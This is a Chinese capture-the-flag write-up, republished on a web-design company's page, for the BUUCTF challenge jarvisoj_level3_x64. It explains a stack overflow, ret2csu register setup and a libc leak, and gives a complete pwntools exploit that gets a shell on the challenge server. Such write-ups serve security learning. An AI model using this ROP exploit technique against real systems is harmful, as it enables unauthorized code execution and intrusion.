尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

[buuctf]jarvisoj_level3_x64

[buuctf]jarvisoj_level3_x64
📅 发布时间:2026/6/19 21:22:45

首先查看一下文件的保护措施
image
在用ida打开看一下
image
这里很明显在read函数进行输入的时候存在栈溢出,然后观察一下文件,没有后门函数,也没有可以用的binsh,那就可以向libc泄露这方面去想了
由于这里是64位的程序,所以在调用write函数进行泄露时,首先要对寄存器rdi,rsi,rdx进行赋值,那就看看有什么可以用的gagdget
image
这里可以看到存在gadget对rdi,rsi进行赋值,但没有对rdx进行赋值的
但其实在函数libc_csu_init存在对rdi,rsi,rdx进行赋值的片段
image
这里划为csu1
image
这里为csu2
先通过csu1对各个寄存器赋值,在间接对rdi,rsi,rdx,进行赋值
但是在跳转到csu2在进行继续执行的时候,要将各个寄存器的值赋值为0,清理栈并重置寄存器值,为下一次调用准备好栈布局

点击查看代码
from pwn import *
from LibcSearcher.LibcSearcher import LibcSearcher
io=remote("node5.buuoj.cn",28249)
elf=ELF("./level3")
read_got=elf.got["read"]
write_got=elf.got["write"]
main=elf.symbols["main"]
csu1=0x4006A6
csu2=0x400690
rdi_ret=0x4006b3
ret=0x400499
def csu_args(extra, rbx, rbp, r12, r13, r14, r15):payload = p64(extra) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)return payload
payload1= b'A'*(0x80+8)+ p64(csu1) + csu_args(0, 0, 1, write_got, 8, read_got, 1) + p64(csu2) + csu_args(0, 0, 0, 0, 0, 0, 0) + p64(main)
io.sendafter(b'Input:\n', payload1)
#io.recvuntil(b"World!\n")
#read_addr=u64(io.recv(6).ljust(8,b"\x00"))
read_addr=u64(io.recv(8))
libc=LibcSearcher("read",read_addr)
offset=read_addr-libc.dump("read")
system=offset+libc.dump("system")
binsh=offset+libc.dump("str_bin_sh")
#io.recvuntil("Input:\n")
payload2=b"A"*(0x80+8)+p64(rdi_ret)+p64(binsh)+p64(system)
io.sendline(payload2)
io.interactive()

相关新闻

  • SpringBoot系列十三:SpringBoot面试常见问题
  • 2025 夹丝玻璃源头厂家最新推荐排行榜:解析防火 / 艺术 / 酒店等多场景厂商优势,助力精准选型
  • 2025 中空板源头厂家最新推荐排行榜揭晓:覆盖全产业链,老牌与新锐共筑品质标杆

最新新闻

  • 南通同城购宠指南:钟秀中路+天都花苑正规宠舍,无套路带质保 - 萌宠俱乐部
  • Java集成海康SDK:从环境搭建到实时报警监听实战
  • 物联网时序数据清理实战:lotvacuum系统设计与数据库优化
  • WechatBakTool:如何安全备份微信聊天记录的技术实现解析
  • 5分钟掌握B站智能评论分析:成分检测器完整指南
  • 2026深圳宝安搬家公司臻选:居民/企业/专业搬迁全场景优质搬迁服务商榜单 - 从来都是英雄出少年

日新闻

  • 5分钟掌握Python进化算法:Geatpy高性能优化工具完全指南
  • Microchip 24AA044 EEPROM选型与应用全指南:从参数解析到实战编程
  • 华为的鸿蒙到底有多牛?为什么称作遥遥领先?

周新闻

  • 3步解锁iOS设备:applera1n激活锁绕过完全指南
  • 39 2026 人工智能证书终极盘点,普通人选 AI 证书可以从这些方向入手
  • Redis 暴露公网有多危险?从端口检查到补救步骤

月新闻

  • 【总结】入门篇:50句话让你记住架构核心概念
  • WeChatMsg技术方案解析:实现Mac微信数据自主管理的完整解决方案
  • WeChatMsg:革新性微信数据备份方案,打造你的专属数字记忆库

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号